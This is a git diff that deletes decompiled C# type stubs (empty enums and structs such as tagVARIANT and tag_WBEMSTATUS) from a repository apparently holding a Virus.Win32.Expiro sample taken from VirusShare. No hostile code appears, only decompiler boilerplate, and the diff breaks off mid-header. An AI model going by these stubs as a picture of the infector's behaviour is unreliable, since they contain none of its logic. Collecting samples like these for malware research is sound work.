a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagShutdownType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagShutdownType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagShutdownType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTEXTMETRICA.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTEXTMETRICA.cs deleted file mode 100644 index 2dcebd5b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTEXTMETRICA.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTEXTMETRICA -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct tagTEXTMETRICA -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTEXTMETRICW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTEXTMETRICW.cs deleted file mode 100644 index f9535ab8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTEXTMETRICW.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTEXTMETRICW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 60)] -internal struct tagTEXTMETRICW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYMED.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYMED.cs deleted file mode 100644 index 411fcd6f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYMED.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYMED -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagTYMED -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYPEFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYPEFLAGS.cs deleted file mode 100644 index 96effd6b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYPEFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYPEFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagTYPEFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYPEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYPEKIND.cs deleted file mode 100644 index 488ad82b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYPEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYPEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagTYPEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYSPEC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYSPEC.cs deleted file mode 100644 index b9a19d8f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYSPEC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYSPEC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagTYSPEC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagUASFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagUASFLAGS.cs deleted file mode 100644 index b56300ee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagUASFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagUASFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagUASFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagURLTEMPLATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagURLTEMPLATE.cs deleted file mode 100644 index 2d73c9b9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagURLTEMPLATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagURLTEMPLATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagURLTEMPLATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagURLZONE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagURLZONE.cs deleted file mode 100644 index 09ce8ae0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagURLZONE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagURLZONE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagURLZONE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagUSERCLASSTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagUSERCLASSTYPE.cs deleted file mode 100644 index 41810bdf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagUSERCLASSTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagUSERCLASSTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagUSERCLASSTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARFLAGS.cs deleted file mode 100644 index 8dce1b3b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagVARFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARIANT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARIANT.cs deleted file mode 100644 index ce9dfdbf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARIANT.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARIANT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagVARIANT -{ - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024299\u0024 - { - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024300\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024301\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024302\u0024 - { - } - } - } - } - - [NativeCppClass] - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024228\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024229\u0024 - { - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024230\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024231\u0024 - { - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARKIND.cs deleted file mode 100644 index f8245efd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagVARKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVIEWSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVIEWSTATUS.cs deleted file mode 100644 index 49364c61..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVIEWSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVIEWSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagVIEWSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagXFORMCOORDS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagXFORMCOORDS.cs deleted file mode 100644 index ecd5986b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagXFORMCOORDS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagXFORMCOORDS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagXFORMCOORDS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagXMLEMEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagXMLEMEM_TYPE.cs deleted file mode 100644 index 1c2a5491..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagXMLEMEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagXMLEMEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagXMLEMEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_CIMTYPE_ENUMERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_CIMTYPE_ENUMERATION.cs deleted file mode 100644 index f750c54f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_CIMTYPE_ENUMERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_CIMTYPE_ENUMERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_CIMTYPE_ENUMERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEMSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEMSTATUS.cs deleted file mode 100644 index 7527bd83..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEMSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEMSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEMSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEMSTATUS_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEMSTATUS_FORMAT.cs deleted file mode 100644 index a105c011..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEMSTATUS_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEMSTATUS_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEMSTATUS_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_BACKUP_RESTORE_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_BACKUP_RESTORE_FLAGS.cs deleted file mode 100644 index 00a50532..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_BACKUP_RESTORE_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_BACKUP_RESTORE_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_BACKUP_RESTORE_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CHANGE_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CHANGE_FLAG_TYPE.cs deleted file mode 100644 index b1046cff..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CHANGE_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CHANGE_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_CHANGE_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_COMPARISON_FLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_COMPARISON_FLAG.cs deleted file mode 100644 index a6aa7916..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_COMPARISON_FLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_COMPARISON_FLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_COMPARISON_FLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_COMPILER_OPTIONS.cs 